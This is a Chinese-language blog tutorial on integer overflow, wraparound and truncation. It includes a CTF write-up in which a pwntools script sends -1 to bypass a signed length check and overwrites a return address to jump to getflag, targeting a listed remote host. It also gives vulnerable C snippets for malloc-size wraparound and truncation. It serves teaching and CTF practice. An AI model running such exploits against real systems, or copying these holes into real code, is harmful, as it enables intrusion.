php int整数溢出,整数溢出 - SegmentFault 思否
什么是整数溢出
由于整数在内存里保存在一个固定长度的空间内，它能存储的最大值和最小值是固定的，如果我们尝试去存储一个数，而这个数又大于这个固定的最大值时，就会导致整数溢出
整数溢出的危害
如果一个整数用来计算一些敏感数值，如缓冲区大小或数值索引，就会产生潜在的危险。通常情况下，整数溢出并没有改写额外的内存，不会直接导致任意代码执行，但是它会导致栈溢出和堆溢出，而后两者都会导致任意代码执行。由于整数溢出出现之后，很难被立即察觉，比较难用一个有效的方法去判断是否出现或者可能出现整数溢出。
整数溢出
关于整数的异常情况主要有三种：
溢出
只有有符号数才会发生溢出。有符号数最高位表示符号，在两正或两负相加时，有可能改变符号位的值，产生溢出
溢出标志OF可检测有符号数的溢出
回绕
无符号数0-1时会变成最大的数，如1字节的无符号数会变为255，而255+1会变成最小数0.f
进位标志CF可检测无符号数的回绕
截断
将一个较大宽度的数存入一个宽度小的操作数中，高位发生截断
常见题型
整数转换
回绕和溢出
截断
整数转换 -- newbugku一道整数溢出题目f4n_pwn
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+Ch] [ebp-1Ch]
unsigned int buf; // [esp+10h] [ebp-18h]
int v6; // [esp+14h] [ebp-14h]
int fd; // [esp+18h] [ebp-10h]
int i; // [esp+1Ch] [ebp-Ch]
setvbuf(stdout, 0, 2, 0);
puts("###### Welecome to ctf game ######\ninput your name length : ");
read_name();
puts("let's begin guess num game ");
fd = open("/dev/urandom", 0);
if ( fd < 0 || read(fd, &buf, 4u) < 0 )
{
puts("error");
exit(0);
}
close(fd);
srand(buf);
for ( i = 0; i <= 9; ++i )
{
v6 = rand() % 9 + 3;
printf("Round %d , please guess the num : \n", i);
fflush(stdout);
fflush(stdin);
__isoc99_scanf("%d", &v4);
if ( v4 != v6 )
{
printf("you fail");
exit(0);
}
}
printf("u are great! this is your flag");
getflag();
return 0;
}
猜测随机数可得flag，hhh
漏洞函数read_name()
int read_name()
{
char s[80]; // [esp+8h] [ebp-60h]
unsigned int v2; // [esp+58h] [ebp-10h]
unsigned int i; // [esp+5Ch] [ebp-Ch]
memset(s, 0, 0x50u);
__isoc99_scanf("%ld", &v2);
if ( (signed int)v2 > 48 )
{
puts("too long!!! u are a hacker!!!");
exit(0);
}
puts("please tell me your name : ");
fflush(stdout);
fflush(stdin);
for ( i = 0; i < v2; ++i )
{
read(0, &s[i], 1u);
if ( s[i] == 10 )
{
s[i] = 0;
return printf("helllo %s\n", s);
}
}
return printf("helllo %s\n", s);
}
看到这里想到利用数组s覆盖返回地址，控制程序跳转到getflag()函数
利用过程
控制v2足够大,利用有符号数向无符号数的转换
覆盖栈空间时，控制i的值
覆盖返回地址getflag
from pwn import *
p = remote("114.116.54.89",10011)
p.recvuntil("input your name length : \n")
p.sendline("-1")
payload = 'a'*(0x60-0xc) + 'c' + p32(0x080486BB)
p.recvuntil("please tell me your name : \n")
p.sendline(payload)
p.interactive()
回绕和溢出
void vulnerable() {
size_t len;
// int len;
char* buf;
len = read_int_from_network();
buf = malloc(len + 5);
read(fd, buf, len);
...
}
这个例子看似避开了缓冲区溢出的问题，但是如果 len 过大， len+5 有可能发生回绕。比如说，在 x86-32 上，如果 len = 0xFFFFFFFF ，则 len+5 = 0x00000004 ，这时 malloc() 只分配了 4 字节的内存区域，然后在里面写入大量的数据，缓冲区溢出也就发生了。(如果将 len 声明为有符号 int 类型， len+5 可能发生溢出)
截断
void main(int argc, char *argv[]) {
unsigned short int total;
total = strlen(argv[1]) + strlen(argv[2]) + 1;
char *buf = (char *)malloc(total);
strcpy(buf, argv[1]);
strcat(buf, argv[2]);
...
}
这个例子接受两个字符串类型的参数并计算它们的总长度，程序分配足够的内存来存储拼接后的字符串。首先将第一个字符串参数复制到缓冲区中，然后将第二个参数连接到尾部。如果攻击者提供的两个字符串总长度无法用 total 表示，则会发生截断，从而导致后面的缓冲区溢出。
参考
ctf-all-in-one